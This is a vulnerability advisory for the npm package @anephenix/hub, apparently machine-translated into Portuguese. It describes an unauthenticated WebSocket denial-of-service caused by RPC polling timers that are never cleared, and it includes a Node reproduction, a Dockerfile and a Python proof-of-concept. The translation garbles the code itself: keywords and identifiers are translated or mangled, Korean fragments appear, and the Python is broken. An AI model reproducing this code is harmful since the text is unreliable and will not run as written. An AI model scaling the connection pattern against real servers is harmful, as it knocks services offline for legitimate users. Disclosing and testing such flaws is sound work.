`@ anephenix/ hub` inicia um loop de votação `setInterval` para cada conexão WebSocket entrante para solicitar um ID de cliente via RPC. Se o cliente remoto nunca responder — o que não requer autenticação ou configuração especial — o intervalo e o objeto de solicitação pendente nunca serão limpos, mesmo após o socket ser fechado. Um atacante não autenticado que abre muitas conexões do WebSocket e ignora todas as mensagens do RPC do servidor fará com que o servidor acumule temporizadores e entradas de pilha não delimitados, levando ao exaustão da CPU e da memória (DoS). Quando um cliente se conecta, `LoadDefaultConnectionEventListeners` (registado em `src/lib/index.ts: 128 `) adiciona um ouvinte de conexão que chama `requestClientId({ ws, rpc })` para cada novo WebSocket (`src/lib/index.ts: 262 `). `requestClientId ' emite um envio de um RPC para a ação `get-client-id ' (`src/lib/clientId.ts: 112 "), que internamente chama `rpc.send`. Dentro de `rpc.send`, a carga útil é pressionada para `this.requests` (`src/lib/rpc.ts: 282 `) e `waitForReply` é invocado. `waitForReply` inicia um `setInterval` que pesquisa `respostas[]` a cada 10 ms para uma resposta correspondente (`src/lib/rpc.ts: 250 `): `` ts // src/lib/rpc.ts: 250 – 267 intervalo = setInterval(() => { resposta const = respostas.find( (r) => r.id === id & & & r.action === ação, ); se (resposta) { se (interval) claroInterval(interval); //... resolver e limpar este.cleanupRPCall( resposta); } }, 10 ); ``` ` clearInterval ' é chamado somente quando uma resposta correspondente chega. Não há caminho de tempo de saída e nenhum manipulador de fechamento do socket que clareie ou o intervalo ou a entrada `This.requests`. O handler `close` registrado em `LoadDefaultConnectionEventListeners` (`src/lib/index.ts: 128 – 134 `) chama somente `pubsub.unsubscribeClientFromAllChannels`; ele não cancela os pedidos de RPC pendentes para aquele socket.
**Fluxo de dados (fonte → lavatório):**. 1. `src/lib/index.ts: 269 ` — ` wss.on("conexão")` aceita qualquer WebSocket remoto (sem autenticação). 2. `src/lib/index.ts: 272 ` — os ouvintes de conexão são iterados e invocados. 3. `src/lib/index.ts: 262 ` — `questClientId({ ws, rpc: this.rpc })` é chamado para cada conexão por padrão. 4. `src/lib/clientId.ts: 112 ` — ` rpc.send({ ws, ação: 'get-client-id'}' cria um pedido de RPC. 5. `src/lib/rpc.ts: 282 ` — `This.requests.push(payload)` registra o pedido pendente. 6. `src/lib/rpc.ts: 250 ` — ` setInterval(..., 10 )` inicia a pesquisa infinita; a limpeza só acontece em uma resposta correspondente. O fechamento do saque não ativa a limpeza. **Prerequisitos:** O docker deve estar disponível no hospedeiro. **Passo 1 — Construir a imagem de verificação:**. ````Construir docker bash -- no-cache \ - f vuln- 001 /Dockerfile \ -t hub- vuln- 001:ultest \ reports/npm_web_ 272 _anephenix__ hub ``` **Passo 2 — Execute o recipiente:**. ```` docker bash executar -- rm -- rede nenhum hub- vuln- 001: mais tarde ``` O recipiente executa `verify.mjs`, o qual: 1. Inicia um servidor `Hub` em uma porta local. 2. Abre um WebSocket e aguarda a mensagem RPC `get-client-id` do servidor sem responder. 3. Fecha o socket e espera 300 Ms. 4. Inspeciona ` hub.rpc.requests. longitude` — deve permanecer ` 1 ` embora ` hub.wss.clients.size` seja ` 0 `. 5. Abre mais cinco sockets da mesma forma (batch), e verifica que o ` pendenteRpcRequests` é igual a ` 6 `.
**Passo 3 — Alternativamente, execute diretamente o orquestrador Python:**. ``` bash pitão 3 vuln- 001 /poc.py ``` **Saída esperada (confirmada):**. ```json { "snapshotAfterFloe": {"clientState": 3, "clientes do servidor": 0, "pessoas pendentes do Rpc": 1 }, "snapshotAfterBatchech": {"ServerClients": 0, "pessoas pendentes do Rpc": 6, "espectavaPendingRpcRequests": 6 } } ``` " pendenteRpcRequests" cresce linearmente com o número de conexões sem resposta e nunca diminui, confirmando o vazamento de recursos não limitados. ** Reprodução mínima em linha** (sem Docker, dentro do repositório após `npm ci && npm execute build`): ``` nodo bash --input- type= module - < 'EOF' importar Hub de './ dist/ esm/ index.js'; importar { WebSocket } de 'ws';.
port const = 8766; const hub = novo Hub( { port }); hub.listen(); const ws = novo WebSocket( ` ws://localhost: $ {port}`); aguarde nova Promessa((resolver) => ws. once('messagem', resolver)); ws. close(); aguarde nova Promessa((resolver) => setTimeout(resolver, 300 )); console.log(JSON.stringify({ serverClients: hub.wss.clients.size, pendenteRpcRequests: hub.rpc.requests.longueza, })); hub.server.close(); process. exit( 0 ); EOF `` ' ```json {"ServerClients": 0, "pessoas pendentes do Rpc": 1 } ```. Esta é uma vulnerabilidade ** não autenticada de Negação de Serviço**. Qualquer servidor reencontrable em rede `@anephenix/hub` executando com configuração padrão é afetado. Um atacante que abre um grande número de conexões do WebSocket e nunca responde ao RPC `get-client-id` do servidor faz com que o processo do servidor acumule um temporizador `setInterval` (polling any 10 ms) e um objeto de pilha por conexão indefinidamente. Com conexões suficientes, este exausta o tempo e a memória de agendamento da CPU, tornando o servidor indisponível para clientes legítimos. Não é necessária nenhuma autenticação, cabeçalhos especiais ou conhecimento de detalhes internos do protocolo — basta uma simples "conectação" do WebSocket seguida de silêncio. ### Reprodução de artefatos. ````Dockerfile DESDE Nó: 20 - alpina.
RUN apk adicionar -- no- cache python 3 fazer g++. # Instale as dependências primeiro para o cache de camadas COPY repos/package.json repos/ package-lock.json./ RUN npm ci --ignore-scripts # Copiar o resto da fonte e construir COPY repo/./ RUN npm executar a compilação # Copiar o script de verificação de vulnerabilidade para / app para que node_modules seja resolvível COPY vuln- 001 /verify.mjs /app/verify.mjs CMD ["nodo", "/ app/verify.mjs"] ```. ```python #!/usr/bin/env python 3 VULN- 001 PoC — Exaustão de recursos de garçom do WebSocket (@anephenix/hub v) 0.2.15 ) Construi uma imagem Docker contendo a biblioteca do hub e um script de verificação, e executa o container para produzir evidência determinística que os itens do hub.rpc.requests[] (e seu conjunto de apoio) nunca são limpos quando um cliente WebSocket desliga sem responder ao pedido do RPC "get- client-id" do servidor.
Uso: python 3 poc.py. Códigos de saída: 0 — vulnerabilidade confirmada (PASS) 1 — não reproduzido (FAIL) 2 — erro de ambiente / construção """ importar os sistemas de importação do subprocesso json importados do caminho de importação do caminho # ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Recamidonado # caminhos de caminhos de espontolha 272 _anephenix__ hub/ DOCKERFILE = SCRIPT_ DIR / "Dockerfile" POC_ TAG = "hub- vuln- 001: mais tarde" BUILD_ CMD = [ "docker", "build", "-- no- cache", "- f", str( DOCKERFILE), "- t", POC_ TAG, str( REPO_ ROOT), # build context = dir pai, assim COPY repo/ e COPY vuln- 001 / ambos resolvem ] RUN_CMD = [ "docker", "rular", "--rm", "--network", "ninguém", # nenhum acesso externo à rede necessário POC_TAG, ].
f banner( msg: str) -> Nenhum: print( f"\n{'='* 60 }\n {msg}\n{'='* 60 }") def run(cmd: list[str], **kwargs) -> subprocesso.Processo Concluído: print("$", ""join(cmd)) devolver subprocess.run(cmd, **kwargs). def build_image() -> Nenhum: banner("Fase 1 — Construir imagem Docker") resultado = executar(BUILD_CMD, capture_output=False) se resultado.returncode!= 0: print("[ERROR] Docker build falhado.", file=sys.stderr) sys.exit( 2 ) print("[OK] Imagem construída:", POC_TAG) def run_poc() -> dict: banner("Fase 2 — Executando verificação de vulnerabilidade dentro do recipiente") resultado = executar(RUN_CMD, capture_output=True, text=True) print("---- container stdout ---") print( result.stdout) se result.stderr: print("--- container stderr ---") print( result.stderr) # O contentor sai 0 no vazamento confirmado, 1 Caso contrário. se result.returncode == 2: print("[ERROR]] O script de verificação caiu. ", file=sys.stderr) sys.exit( 2 ).
tenta: data = json.loads(result.stdout) exceto json.JSONDecodeError como exc: print(f"[ERROR] Não foi possível analisar a saída do contentor como JSON: {exc}", file=sys.stderr) sys. exit( 2 ) devolver dados, resultado.returncode. def avalie(data: dict, container_ saída: int) -> tuple[bool, str]: """Retorno (passado, evidence_summary).""" after_close = data.get("snapshotAfterFloech", {}) after_batch = data.get("snapshotAfterBat", {}) vazamento_single = ( after_close.get("pendingRpcRequests", 0 ) > 0 e after_close.get("ServerClients", - 1 ) == 0 e after_close.get("clientState", - 1 ) == 3 # WebSocket.CLOSED ) vazamento_batch = ( after_batch.get("pendingRpcRequests", 0 ==After_batch.get("espectatedPendingRpcRequests", - 1 ) ). passado = vazamento_single e vazamento_batch e continer_exit == 0 prova = ( f"snapshotAfter_Blook={json.dumps(after_close)}; " f"snapshotAfterBatch={json.dumps(after_batch)}; " f"container_exit={container_exit}" ) retorno passado, prova. def main() -> Nenhum: build_image() data, container_exit = run_poc().
banner("Fase" 3 — Avaliando resultados") passado, evidência = avaliar(dados, container_exit). se passar: print("[PASS]) Confirmado: os ingressos do garçom do RPC persistem após o fechamento do socket.) senão: print("[FAIL] Não observado — verifique a saída do contentor acima.) retorno passado, evidência, dados. se __name___ == "__main__": aprovado, evidência, raw = main() Veredicto = "PASS" se passar por outro "FAIL" ration = ( "Listado".rpc.requests[] SetInterval. 1 이 유지되고, " "배치 5 개 추가 후 총 6 Se passar por outro "Se passar por outro lado, o "Se" se passará por outro "Se" se "Se" se "Se" se "Se" se "Se" se "se"". ) resultado_path = SCRIPT_DIR / "phase 2 Fase _result.json" 2 = { "passado": passado, "verdito": veredicto, "razão": razão, "build_command": " ".join(BUILD_CMD), "run_command": " ".join(RUN_CMD), "poc_command": f"python 3 {Path(___file__).name}", "evidência": evidência, "artifactos": ["Dockerfile", "verify.mjs", "poc.py"], } result_path.write_text(json.dumps(phase) 2, indent= 2, garantir_ascii=False)) print(f"\n[INFO] Resultados escritos em {result_path}"). sys. exit( 0 se passar em outra opção 1 ) ```.
Registro de aconselhamento: GHSA- g 5 vv-q 72 c- 7 j 78. Identificadores relacionados: CVE- 2026 - 73561. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 24 T 21: 47: 29.000 Z e lista a sua última modificação como 2026 - 08 - 13 T 17: 24: 41.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. Software afetado e informações de versão: pacote npm @anephenix/hub — ECOSISTEM: introduzido 0, corrigido 0.2.16. Classificação e evidência: identificadores de fraqueza CWE- 400. O registro contém 4 suporte de referências nestes tipos: WEB, PACKAGE.